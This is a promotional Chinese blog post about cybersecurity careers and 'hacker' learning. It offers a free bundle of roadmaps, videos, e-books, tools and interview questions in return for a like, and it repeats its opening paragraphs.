随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!